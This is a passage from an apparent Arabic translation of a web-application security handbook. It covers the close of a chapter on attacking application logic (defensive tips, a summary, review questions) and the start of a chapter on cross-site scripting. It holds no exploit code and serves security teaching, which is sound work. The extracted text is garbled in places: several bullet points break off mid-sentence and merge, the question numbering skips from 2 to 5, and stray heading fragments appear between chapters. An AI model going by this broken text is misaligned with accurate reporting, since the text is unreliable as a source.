ﻓﻲﻗﻴﻤﻬﺎ.
ﺍﺗﺨﺬﺟﻤﻴﻊ ﺍﻟﻘﺮﺍﺭﺍﺕ ﺍﻟﻤﺘﻌﻠﻘﺔ ﺑﻬﻮﻳﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻭﺣﺎﻟﺘﻪ ﺑﻨﺎء ًﻋﻠﻰ ﺟﻠﺴﺘﻪ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ -
ﺍﻟﺜﺎﻣﻦ( .ﻻ ﺗﻔﺘﺮﺽ ﺃﻱ ﺷﻲء ﺑﺸﺄﻥ ﺍﻣﺘﻴﺎﺯﺍﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﻨﺎء ًﻋﻠﻰ ﺃﻱ ﻣﻴﺰﺓ ﺃﺧﺮﻯ ﻓﻲ
ﺍﻟﻄﻠﺐ،ﺑﻤﺎ ﻓﻲ ﺫﻟﻚ ﺣﺪﻭﺛﻪ ﺃﺻﻼً.
429 ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ
ﻋﻨﺪﺗﻨﻔﻴﺬ ﻭﻇﺎﺉﻒ ﺗﺤُﺪﺙِّ ﺑﻴﺎﻧﺎﺕ ﺍﻟﺠﻠﺴﺔ ﺑﻨﺎء ًﻋﻠﻰ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺃﻭ ﺍﻹﺟﺮﺍءﺍﺕ ﺍﻟﺘﻲ -
ﻳﻨُﻔﺬِّﻫﺎ،ﻳﺮُﺟﻰ ﻣﺮﺍﻋﺎﺓ ﺃﻱ ﺗﺄﺛﻴﺮ ﻗﺪ ﺗﺤُﺪﺛِّﻪ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﺤُﺪﺛَّﺔ ﻋﻠﻰ ﻭﻇﺎﺉﻒ ﺃﺧﺮﻯ ﺩﺍﺧﻞ
ﺍﻟﺘﻄﺒﻴﻖ.ﻳﺮُﺟﻰ ﺍﻻﻧﺘﺒﺎﻩ ﺇﻟﻰ ﺍﺣﺘﻤﺎﻝ ﺣﺪﻭﺙ ﺁﺛﺎﺭ ﺟﺎﻧﺒﻴﺔ ﻏﻴﺮ ﻣﺘﻮﻗﻌﺔ ﻓﻲ ﻭﻇﺎﺉﻒ ﻏﻴﺮ ﺫﺍﺕ
ﺻﻠﺔﺗﻤﺎﻣﺎً ،ﻭﺍﻟﺘﻲ ﺻﺎﻏﻬﺎ ﻣﺒُﺮﻣﺞ ﺃﻭ ﺣﺘﻰ ﻓﺮﻳﻖ ﺗﻄﻮﻳﺮ ﻣﺨُﺘﻠﻒ.
ﺇﺫﺍﻛﺎﻧﺖ ﻭﻇﻴﻔﺔ ﺍﻟﺒﺤﺚ ﺗﻔُﻬﺮﺱ ﺑﻴﺎﻧﺎﺕ ﺣﺴﺎﺳﺔ ﻻ ﻳﻤﻠﻚ ﺑﻌﺾ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﺻﻼﺣﻴﺔ -
ﻛﻦﺣﺬﺭﺍً ﻟﻠﻐﺎﻳﺔ ﻋﻨﺪ ﺗﻄﺒﻴﻖ ﺃﻱ ﻭﻇﻴﻔﺔ ﺗﻤُﻜﻦّ ﺃﻱ ﻣﺴﺘﺨﺪﻡ ﻣﻦ ﺣﺬﻑ ﻋﻨﺎﺻﺮ ﻣﻦ ﺳﺠﻞ -
ﺻﺎﺭﻡﻟﻠﺒﻴﺎﻧﺎﺕ ﻭﺗﻨﺴﻴﻘﻬﺎ ﻋﻠﻰ ﺟﻤﻴﻊ ﻣﺪﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻗﺒﻞ ﻣﻌﺎﻟﺠﺘﻬﺎ .ﺇﺫﺍ ﻟﻢ ﻳﻜﻦ ﻣﻦ
ﺍﻟﻤﺘﻮﻗﻊﺍﻟﺤﺼﻮﻝ ﻋﻠﻰ ﺃﺭﻗﺎﻡ ﺳﺎﻟﺒﺔ ،ﻓﺎﺭﻓﺾ ﺻﺮﺍﺣﺔ ًﺍﻟﻄﻠﺒﺎﺕ ﺍﻟﺘﻲ ﺗﺤﺘﻮﻱ ﻋﻠﻴﻬﺎ.
ﻋﻨﺪﺗﻨﻔﻴﺬ ﺍﻟﺨﺼﻮﻣﺎﺕ ﺑﻨﺎء ًﻋﻠﻰ ﺣﺠﻢ ﺍﻟﻄﻠﺒﺎﺕ ،ﺗﺄﻛﺪ ﻣﻦ ﺍﻻﻧﺘﻬﺎء ﻣﻦ ﺍﻟﻄﻠﺒﺎﺕ ﻗﺒﻞ ﺗﻄﺒﻴﻖ -
ﺍﻟﺨﺼﻢﻓﻌﻠﻴﺎً.
ﻋﻨﺪﺇﻓﻼﺕ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻘﺪﻣﺔ ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻗﺒﻞ ﺗﻤﺮﻳﺮﻫﺎ ﺇﻟﻰ ﻣﻜﻮﻥ ﺗﻄﺒﻴﻖ ﻣﻌﺮﺽ -
ﻟﻠﺨﻄﺮ،ﺗﺄﻛﺪ ﺩﺍﺉﻤﺎً ﻣﻦ ﺇﻓﻼﺕ ﺣﺮﻑ ﺍﻹﻓﻼﺕ ﻧﻔﺴﻪ ،ﻭﺇﻻ ﻓﻘﺪ ﻳﺘﻢ ﻛﺴﺮ ﺁﻟﻴﺔ ﺍﻟﺘﺤﻘﻖ ﺑﺄﻛﻤﻠﻬﺎ.
ﺍﺳﺘﺨﺪﻡﺩﺍﺉﻤﺎً ﻣﺴﺎﺣﺔ ﺗﺨﺰﻳﻦ ﻣﻨﺎﺳﺒﺔ ﻟﻼﺣﺘﻔﺎﻅ ﺑﺄﻱ ﺑﻴﺎﻧﺎﺕ ﺗﺘﻌﻠﻖ ﺑﻤﺴﺘﺨﺪﻡ ﻓﺮﺩﻱ - -
ﻣﻠﺨﺺ
ﻳﺘﻀﻤﻦﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺰﻳﺠﺎً ﻣﻦ ﺍﻟﺒﺤﺚ ﺍﻟﻤﻨﻬﺠﻲ ﻭﺍﻟﺘﻔﻜﻴﺮ ﺍﻟﺠﺎﻧﺒﻲ .ﻟﻘﺪ ﻭﺻﻔﻨﺎ ﺍﻟﻌﺪﻳﺪ
ﻣﻦﺍﻻﺧﺘﺒﺎﺭﺍﺕ ﺍﻟﺮﺉﻴﺴﻴﺔ ﺍﻟﺘﻲ ﻳﺠﺐ ﻋﻠﻴﻚ ﺇﺟﺮﺍﺅﻫﺎ ﺩﺍﺉﻤﺎً ﻻﺧﺘﺒﺎﺭ ﺳﻠﻮﻙ ﺍﻟﺘﻄﺒﻴﻖ ﺍﺳﺘﺠﺎﺑﺔ ً
ﻟﻠﻤﺪﺧﻼﺕﻏﻴﺮ ﺍﻟﻤﺘﻮﻗﻌﺔ .ﺗﺸﻤﻞ ﻫﺬﻩ ﺍﻻﺧﺘﺒﺎﺭﺍﺕ ﺇﺯﺍﻟﺔ ﺍﻟﻤﻌﻠﻤﺎﺕ ﻣﻦ ﺍﻟﻄﻠﺒﺎﺕ ،ﻭﺍﺳﺘﺨﺪﺍﻡ
ﺍﻟﺘﺼﻔﺢﺍﻟﻘﺴﺮﻱ ﻟﻠﻮﺻﻮﻝ ﺇﻟﻰ ﻭﻇﺎﺉﻒ ﺧﺎﺭﺝ ﺍﻟﺘﺴﻠﺴﻞ ،ﻭﺇﺭﺳﺎﻝ ﺍﻟﻤﻌﻠﻤﺎﺕ ﺇﻟﻰ ﻣﻮﺍﻗﻊ ﻣﺨﺘﻠﻔﺔ
ﺩﺍﺧﻞﺍﻟﺘﻄﺒﻴﻖ .ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﺸﻴﺮ ﻃﺮﻳﻘﺔ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﻄﺒﻴﻖ ﻟﻬﺬﻩ ﺍﻹﺟﺮﺍءﺍﺕ ﺇﻟﻰ ﺍﻓﺘﺮﺍﺽ ﺧﺎﻃﺊ
ﻳﻤﻜﻨﻚﺍﻧﺘﻬﺎﻛﻪ ،ﻣﻤﺎ ﻗﺪ ﻳﺆﺩﻱ ﺇﻟﻰ ﻧﺘﺎﺉﺞ ﺿﺎﺭﺓ.
ﺑﺎﻹﺿﺎﻓﺔﺇﻟﻰ ﻫﺬﻩ ﺍﻻﺧﺘﺒﺎﺭﺍﺕ ﺍﻷﺳﺎﺳﻴﺔ ،ﻓﺈﻥ ﺍﻟﺘﺤﺪﻱ ﺍﻷﻫﻢ ﻋﻨﺪ ﺍﻟﺒﺤﺚ ﻋﻦ ﺍﻟﻌﻴﻮﺏ ﺍﻟﻤﻨﻄﻘﻴﺔ
ﻫﻮﻣﺤﺎﻭﻟﺔ ﻓﻬﻢ ﻋﻘﻮﻝ ﺍﻟﻤﻄﻮﺭﻳﻦ .ﻋﻠﻴﻚ ﻓﻬﻢ ﻣﺎ ﻛﺎﻧﻮﺍ ﻳﺴﻌﻮﻥ ﺇﻟﻰ ﺗﺤﻘﻴﻘﻪ ،ﻭﺍﻻﻓﺘﺮﺍﺿﺎﺕ ﺍﻟﺘﻲ ﺭﺑﻤﺎ
ﻭﺿﻌﻮﻫﺎ.
ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ 430
ﻣﺎﻫﻲ ﺍﻟﻄﺮﻕ ﺍﻟﻤﺨﺘﺼﺮﺓ ﺍﻟﺘﻲ ﺭﺑﻤﺎ ﺍﺳﺘﺨﺪﻣﻮﻫﺎ ،ﻭﻣﺎ ﻫﻲ ﺍﻷﺧﻄﺎء ﺍﻟﺘﻲ ﺭﺑﻤﺎ ﺍﺭﺗﻜﺒﻮﻫﺎ .ﺗﺨﻴﻞّ ﺃﻧﻚ
ﺗﻌﻤﻞﺿﻤﻦ ﻣﻬﻠﺔ ﺯﻣﻨﻴﺔ ﺿﻴﻘﺔ ،ﻭﺗﺮﻛﺰ ﺍﻫﺘﻤﺎﻣﻚ ﺑﺸﻜﻞ ﺃﺳﺎﺳﻲ ﻋﻠﻰ ﺍﻟﻮﻇﻴﻔﺔ ﺑﺪﻻ ًﻣﻦ ﺍﻷﻣﺎﻥ ،ﺃﻭ
ﺗﺤﺎﻭﻝﺇﺿﺎﻓﺔ ﻭﻇﻴﻔﺔ ﺟﺪﻳﺪﺓ ﺇﻟﻰ ﻗﺎﻋﺪﺓ ﺑﻴﺎﻧﺎﺕ ﻣﻮﺟﻮﺩﺓ ،ﺃﻭ ﺗﺴﺘﺨﺪﻡ ﻭﺍﺟﻬﺎﺕ ﺑﺮﻣﺠﺔ ﺗﻄﺒﻴﻘﺎﺕ
) (APIsﺳﻴﺉﺔ ﺍﻟﺘﻮﺛﻴﻖ ﻛﺘﺒﻬﺎ ﺷﺨﺺ ﺁﺧﺮ .ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ ،ﻣﺎ ﺍﻟﺨﻄﺄ ﺍﻟﺬﻱ ﻗﺪ ﻳﻘﻊ ﻓﻴﻪ ،ﻭﻛﻴﻒ
ﻳﻤﻜﻦﺍﺳﺘﻐﻼﻟﻪ؟
ﺃﺳﺉﻠﺔ
.1ﻣﺎ ﻫﻮ ﺍﻟﺘﺼﻔﺢ ﺍﻟﻘﺴﺮﻱ ،ﻭﻣﺎ ﺃﻧﻮﺍﻉ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻣﻪ ﻟﺘﺤﺪﻳﺪﻫﺎ؟
.٢ﻳﻄُﺒﻖّ ﺍﻟﺘﻄﺒﻴﻖ ﻣﺮُﺷﺤّﺎﺕ ﻋﺎﻟﻤﻴﺔ ﻣﺨُﺘﻠﻔﺔ ﻋﻠﻰ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ ،ﻣﺼُﻤﻤّﺔ ﻟﻤﻨﻊ ﻓﺉﺎﺕ
ﻣﺨُﺘﻠﻔﺔﻣﻦ ﺍﻟﻬﺠﻤﺎﺕ .ﻟﻠﺤﻤﺎﻳﺔ ﻣﻦ ﺣﻘﻦ ،SQLﻳﻀُﺎﻋﻒ ﺍﻟﺘﻄﺒﻴﻖ ﺃﻱ ﻋﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ
ﻣﻔﺮﺩﺓﺗﻈﻬﺮ ﻓﻲ ﻣﺪُﺧﻼﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ .ﻭﻟﻤﻨﻊ ﻫﺠﻤﺎﺕ ﺗﺠﺎﻭﺯ ﺳﻌﺔ ﺍﻟﻤﺨﺰﻥ ﺍﻟﻤﺆﻗﺖ ﺿﺪ
ﺑﻌﺾﻣﻜُﻮﻧّﺎﺕ ﺍﻟﻜﻮﺩ ﺍﻷﺻﻠﻲ ،ﻳﻘُﻠﺺّ ﺃﻱ ﻋﻨﺎﺻﺮ ﻃﻮﻳﻠﺔ ﺇﻟﻰ ﺣﺪ ّﻣﻌﻘﻮﻝ.
ﻣﺎﻫﻮ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﺍﻟﺬﻱ ﻳﺠﺐ ﻋﻠﻴﻚ ﺍﻟﺘﺤﻘﻖ ﻣﻨﻪ ﻋﻠﻰ ﺍﻟﻔﻮﺭ؟
.٥ﺃﻧﺖ ﺗﻔﺤﺺ ﺗﻄﺒﻴﻘﺎً ﺑﺤﺜﺎً ﻋﻦ ﻓﺉﺎﺕ ﺷﺎﺉﻌﺔ ﻣﻦ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﻋﻦ ﻃﺮﻳﻖ ﺇﺭﺳﺎﻝ ﺑﻴﺎﻧﺎﺕ
ﻣﻌُﺪﺓّ.ﻓﻲ ﻛﺜﻴﺮ ﻣﻦ ﺍﻷﺣﻴﺎﻥ ،ﻳﻌُﻴﺪ ﺍﻟﺘﻄﺒﻴﻖ ﺭﺳﺎﺉﻞ ﺧﻄﺄ ﻣﻄُﻮﻟّﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﻌﻠﻮﻣﺎﺕ
ﺗﺼﺤﻴﺢﺍﻷﺧﻄﺎء .ﺃﺣﻴﺎﻧﺎً ،ﺗﺘﻌﻠﻖ ﻫﺬﻩ ﺍﻟﺮﺳﺎﺉﻞ ﺑﺄﺧﻄﺎء ﺃﻧﺸﺄﻫﺎ ﻣﺴﺘﺨﺪﻣﻮﻥ ﺁﺧﺮﻭﻥ .ﻋﻨﺪ
ﺣﺪﻭﺙﺫﻟﻚ ،ﻻ ﻳﻤﻜﻨﻚ ﺇﻋﺎﺩﺓ ﺇﻧﺘﺎﺝ ﺍﻟﺴﻠﻮﻙ ﻣﺮﺓ ﺃﺧﺮﻯ .ﻣﺎ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﺍﻟﺬﻱ ﻗﺪ ﻳﺸُﻴﺮ
ﺇﻟﻴﻪﻫﺬﺍ ،ﻭﻛﻴﻒ ﻳﻨﺒﻐﻲ ﻋﻠﻴﻚ ﺍﻟﻤﺘُﺎﺑﻌﺔ؟
ﺗﻴﺮ 21
ﺃﺏ CH
ﺍﻟﻬﺠﻮﻡ
:ﺍﻟﻤﺴﺘﺨﺪﻣﻮﻥg
ﻋﺒﺮﺍﻟﻤﻮﻗﻊ Sﺍﻟﺘﺸﻔﻴﺮ
ﺟﻤﻴﻊﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﺘﻲ ﺗﻨﺎﻭﻟﻨﺎﻫﺎ ﺣﺘﻰ ﺍﻵﻥ ﺗﺴﺘﻬﺪﻑ ﺗﻄﺒﻴﻖ ﺍﻟﺨﺎﺩﻡ ﻣﺒﺎﺷﺮﺓ ً.ﻭﺑﺎﻟﻄﺒﻊ ،ﻓﺈﻥ ﺍﻟﻌﺪﻳﺪ
ﻣﻦﻫﺬﻩ ﺍﻟﻬﺠﻤﺎﺕ ﺗﺆﺛﺮ ﻋﻠﻰ ﻣﺴﺘﺨﺪﻣﻴﻦ ﺁﺧﺮﻳﻦ ،ﻣﺜﻞ ﻫﺠﻮﻡ ﺣﻘﻦ SQLﺍﻟﺬﻱ ﻳﺴﺮﻕ ﺑﻴﺎﻧﺎﺕ
ﻣﺴﺘﺨﺪﻣﻴﻦﺁﺧﺮﻳﻦ .ﺇﻻ ﺃﻥ ﻣﻨﻬﺠﻴﺔ ﺍﻟﻤﻬﺎﺟﻢ ﺍﻷﺳﺎﺳﻴﺔ ﻛﺎﻧﺖ ﺍﻟﺘﻔﺎﻋﻞ ﻣﻊ ﺍﻟﺨﺎﺩﻡ ﺑﻄﺮﻕ ﻏﻴﺮ ﻣﺘﻮﻗﻌﺔ
ﻟﺘﻨﻔﻴﺬﺇﺟﺮﺍءﺍﺕ ﻏﻴﺮ ﻣﺼﺮﺡ ﺑﻬﺎ ﻭﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺑﻴﺎﻧﺎﺕ ﻏﻴﺮ ﻣﺼﺮﺡ ﺑﻬﺎ.
ﺗﻨﺪﺭﺝﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﻤﻮﺻﻮﻓﺔ ﻓﻲ ﻫﺬﺍ ﺍﻟﻔﺼﻞ ﻭﺍﻟﻔﺼﻞ ﺍﻟﺘﺎﻟﻲ ﺿﻤﻦ ﻓﺉﺔ ﻣﺨﺘﻠﻔﺔ ،ﻷﻥ ﺍﻟﻬﺪﻑ
ﺍﻟﺮﺉﻴﺴﻲﻟﻠﻤﻬﺎﺟﻢ ﻫﻮ ﻣﺴﺘﺨﺪﻣﻮ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻵﺧﺮﻭﻥ .ﻻ ﺗﺰﺍﻝ ﺟﻤﻴﻊ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ ﺫﺍﺕ ﺍﻟﺼﻠﺔ
ﻣﻮﺟﻮﺩﺓﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﻧﻔﺴﻪ .ﻭﻣﻊ ﺫﻟﻚ ،ﻳﺴﺘﻐﻞ ﺍﻟﻤﻬﺎﺟﻢ ﺑﻌﺾ ﺟﻮﺍﻧﺐ ﺳﻠﻮﻙ ﺍﻟﺘﻄﺒﻴﻖ ﻟﺘﻨﻔﻴﺬ
ﺃﻋﻤﺎﻝﺧﺒﻴﺜﺔ ﺿﺪ ﻣﺴﺘﺨﺪﻡ ﻧﻬﺎﺉﻲ ﺁﺧﺮ .ﻗﺪ ﺗﺆﺩﻱ ﻫﺬﻩ ﺍﻷﻋﻤﺎﻝ ﺇﻟﻰ ﺑﻌﺾ ﺍﻵﺛﺎﺭ ﻧﻔﺴﻬﺎ ﺍﻟﺘﻲ
ﺩﺭﺳﻨﺎﻫﺎﺳﺎﺑﻘﺎً ،ﻣﺜﻞ ﺍﺧﺘﻄﺎﻑ ﺍﻟﺠﻠﺴﺔ ،ﻭﺍﻹﺟﺮﺍءﺍﺕ ﻏﻴﺮ ﺍﻟﻤﺼﺮﺡ ﺑﻬﺎ ،ﻭﺍﻟﻜﺸﻒ ﻋﻦ ﺍﻟﺒﻴﺎﻧﺎﺕ
ﺍﻟﺸﺨﺼﻴﺔ.ﻛﻤﺎ ﻗﺪ ﺗﺆﺩﻱ ﺇﻟﻰ ﻧﺘﺎﺉﺞ ﻏﻴﺮ ﻣﺮﻏﻮﺏ ﻓﻴﻬﺎ ﺃﺧﺮﻯ ،ﻣﺜﻞ ﺗﺴﺠﻴﻞ ﺿﻐﻄﺎﺕ ﺍﻟﻤﻔﺎﺗﻴﺢ ﺃﻭ
ﺗﻨﻔﻴﺬﺃﻭﺍﻣﺮ ﻋﺸﻮﺍﺉﻴﺔ ﻋﻠﻰ ﺃﺟﻬﺰﺓ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ.
ﺷﻬﺪﺕﻣﺠﺎﻻﺕ ﺃﺧﺮﻯ ﻣﻦ ﺃﻣﻦ ﺍﻟﺒﺮﻣﺠﻴﺎﺕ ﺗﺤﻮﻻ ًﺗﺪﺭﻳﺠﻴﺎ ًﻓﻲ ﺍﻟﺘﺮﻛﻴﺰ ﻣﻦ ﻫﺠﻤﺎﺕ ﺍﻟﺨﺎﺩﻡ ﺇﻟﻰ
ﻫﺠﻤﺎﺕﺍﻟﻌﻤﻴﻞ ﻓﻲ ﺍﻟﺴﻨﻮﺍﺕ ﺍﻷﺧﻴﺮﺓ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﺍﻋﺘﺎﺩﺕ ﻣﺎﻳﻜﺮﻭﺳﻮﻓﺖ ﺍﻹﻋﻼﻥ ﺑﺸﻜﻞ
ﻣﺘﻜﺮﺭﻋﻦ ﺛﻐﺮﺍﺕ ﺃﻣﻨﻴﺔ ﺧﻄﻴﺮﺓ ﻓﻲ ﻣﻨﺘﺠﺎﺕ ﺍﻟﺨﻮﺍﺩﻡ ﺍﻟﺨﺎﺻﺔ ﺑﻬﺎ .ﻭﺭﻏﻢ ﺍﻟﻜﺸﻒ ﻋﻦ ﺍﻟﻌﺪﻳﺪ ﻣﻦ
ﺍﻟﻌﻴﻮﺏﻓﻲ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ،ﺇﻻ ﺃﻧﻬﺎ ﻟﻢ ﺗﺤﻆ َﺑﺎﻫﺘﻤﺎﻡ ﻛﺒﻴﺮ ﻷﻥ ﺍﻟﺨﻮﺍﺩﻡ ﻛﺎﻧﺖ ﻫﺪﻓﺎ ًﺃﻛﺜﺮ ﺟﺎﺫﺑﻴﺔ
ﻟﻤﻌﻈﻢﺍﻟﻤﻬﺎﺟﻤﻴﻦ .ﻓﻲ ﻏﻀﻮﻥ ﺑﻀﻊ ﺳﻨﻮﺍﺕ ﻓﻘﻂ ،ﻣﻊ ﺑﺪﺍﻳﺔ ﺍﻟﻘﺮﻥ ﺍﻟﺤﺎﺩﻱ ﻭﺍﻟﻌﺸﺮﻳﻦ ،ﺗﻐﻴﺮ ﻫﺬﺍ
ﺍﻟﻮﺿﻊﺑﺸﻜﻞ ﻣﻠﺤﻮﻅ .ﻭﻗﺖ ﻛﺘﺎﺑﺔ ﻫﺬﻩ ﺍﻟﺴﻄﻮﺭ،
431
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 432
ﻟﻢﻳﻌُﻠﻦ ﻋﻠﻨﺎً ﻋﻦ ﺃﻱ ﺛﻐﺮﺍﺕ ﺃﻣﻨﻴﺔ ﺣﺮﺟﺔ ﻓﻲ ﺧﺎﺩﻡ ﻭﻳﺐ IISﻣﻦ ﻣﺎﻳﻜﺮﻭﺳﻮﻓﺖ ﺑﺪءﺍً ﻣﻦ ﺍﻹﺻﺪﺍﺭ
ﺍﻟﺴﺎﺩﺱ.ﻭﻣﻊ ﺫﻟﻚ ،ﻣﻨﺬ ﺇﺻﺪﺍﺭ ﻫﺬﺍ ﺍﻟﻤﻨﺘﺞ ﻷﻭﻝ ﻣﺮﺓ ،ﻛﺸُﻒ ﻋﻦ ﻋﺪﺩ ﻛﺒﻴﺮ ﻣﻦ ﺍﻟﻌﻴﻮﺏ ﻓﻲ
ﻣﺘﺼﻔﺢﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﻣﻦ ﻣﺎﻳﻜﺮﻭﺳﻮﻓﺖ .ﻭﻣﻊ ﺗﺰﺍﻳﺪ ﺍﻟﻮﻋﻲ ﺍﻟﻌﺎﻡ ﺑﺎﻟﺘﻬﺪﻳﺪﺍﺕ ﺍﻷﻣﻨﻴﺔ ،ﺍﻧﺘﻘﻠﺖ
ﺍﻟﻤﻌﺮﻛﺔﺑﻴﻦ ﻣﺎﻟﻜﻲ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻭﺍﻟﻤﺨﺘﺮﻗﻴﻦ ﻣﻦ ﺍﻟﺨﺎﺩﻡ ﺇﻟﻰ ﺍﻟﻌﻤﻴﻞ.
ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺗﺄﺧﺮ ﺗﻄﻮﻳﺮ ﺃﻣﻦ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﺑﻀﻊ ﺳﻨﻮﺍﺕ ،ﺇﻻ ﺃﻧﻪ ﻳﻤﻜﻦ ﺭﺻﺪ ﻧﻔﺲ ﺍﻟﺘﻮﺟﻪ.
ﻓﻔﻲﺃﻭﺍﺧﺮ ﺍﻟﺘﺴﻌﻴﻨﻴﺎﺕ ،ﻛﺎﻧﺖ ﻣﻌﻈﻢ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﻋﻠﻰ ﺍﻹﻧﺘﺮﻧﺖ ﺗﻌﺎﻧﻲ ﻣﻦ ﻋﻴﻮﺏ ﺣﺮﺟﺔ ،ﻣﺜﻞ
ﺣﻘﻦﺍﻷﻭﺍﻣﺮ ،ﻭﺍﻟﺘﻲ ﻛﺎﻥ ﻣﻦ ﺍﻟﺴﻬﻞ ﺍﻛﺘﺸﺎﻓﻬﺎ ﻭﺍﺳﺘﻐﻼﻟﻬﺎ ﻣﻦ ﻗﺒﻞ ﺃﻱ ﻣﻬﺎﺟﻢ ﻟﺪﻳﻪ ﺍﻟﻘﻠﻴﻞ ﻣﻦ
ﺍﻟﻤﻌﺮﻓﺔ.ﻭﺭﻏﻢ ﺃﻥ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ ﻻ ﺗﺰﺍﻝ ﻣﻮﺟﻮﺩﺓ ﺣﺘﻰ ﺍﻟﻴﻮﻡ ،ﺇﻻ ﺃﻧﻬﺎ ﺗﺘﻨﺎﻗﺺ ﺗﺪﺭﻳﺠﻴﺎً
ﻭﻳﺼﻌﺐﺍﺳﺘﻐﻼﻟﻬﺎ .ﻭﻓﻲ ﺍﻟﻮﻗﺖ ﻧﻔﺴﻪ ،ﻻ ﺗﺰﺍﻝ ﺣﺘﻰ ﺃﻛﺜﺮ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺃﻫﻤﻴﺔ ﺃﻣﻨﻴﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ
ﺍﻟﻌﺪﻳﺪﻣﻦ ﺍﻟﻌﻴﻮﺏ ﺍﻟﺘﻲ ﻳﺴﻬﻞ ﺍﻛﺘﺸﺎﻓﻬﺎ ﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ .ﻋﻼﻭﺓ ﻋﻠﻰ ﺫﻟﻚ ،ﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ ﺃﻥ
ﺟﺎﻧﺐﺍﻟﺨﺎﺩﻡ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ ﻗﺪ ﻳﺘﺼﺮﻑ ﺑﻄﺮﻳﻘﺔ ﻣﺤﺪﻭﺩﺓ ﻭﻗﺎﺑﻠﺔ ﻟﻠﺘﺤﻜﻢ ،ﺇﻻ ﺃﻥ ﺍﻟﻌﻤﻼء ﻗﺪ
ﻳﺴﺘﺨﺪﻣﻮﻥﺃﻱ ﻋﺪﺩ ﻣﻦ ﺗﻘﻨﻴﺎﺕ ﻭﺇﺻﺪﺍﺭﺍﺕ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻟﻤﺨﺘﻠﻔﺔ ،ﻣﻤﺎ ﻳﻔﺘﺢ ﺍﻟﺒﺎﺏ ﺃﻣﺎﻡ ﻣﺠﻤﻮﻋﺔ
ﻭﺍﺳﻌﺔﻣﻦ ﻧﻮﺍﻗﻞ ﺍﻟﻬﺠﻮﻡ ﺍﻟﻨﺎﺟﺤﺔ ﺍﻟﻤﺤﺘﻤﻠﺔ.
ﺭﻛﺰﺕﺍﻷﺑﺤﺎﺙ ﺑﺸﻜﻞ ﺭﺉﻴﺴﻲ ﺧﻼﻝ ﺍﻟﻌﻘﺪ ﺍﻟﻤﺎﺿﻲ ﻋﻠﻰ ﻧﻘﺎﻁ ﺍﻟﻀﻌﻒ ﻓﻲ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ،
ﺣﻴﺚﻧﻮﻗﺸﺖ ﻋﻴﻮﺏ ﻣﺜﻞ ﺗﺜﺒﻴﺖ ﺍﻟﺠﻠﺴﺔ ﻭﺗﺰﻭﻳﺮ ﻃﻠﺒﺎﺕ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﻤﺘﻌﺪﺩﺓ ﻷﻭﻝ ﻣﺮﺓ ﺑﻌﺪ ﺳﻨﻮﺍﺕ
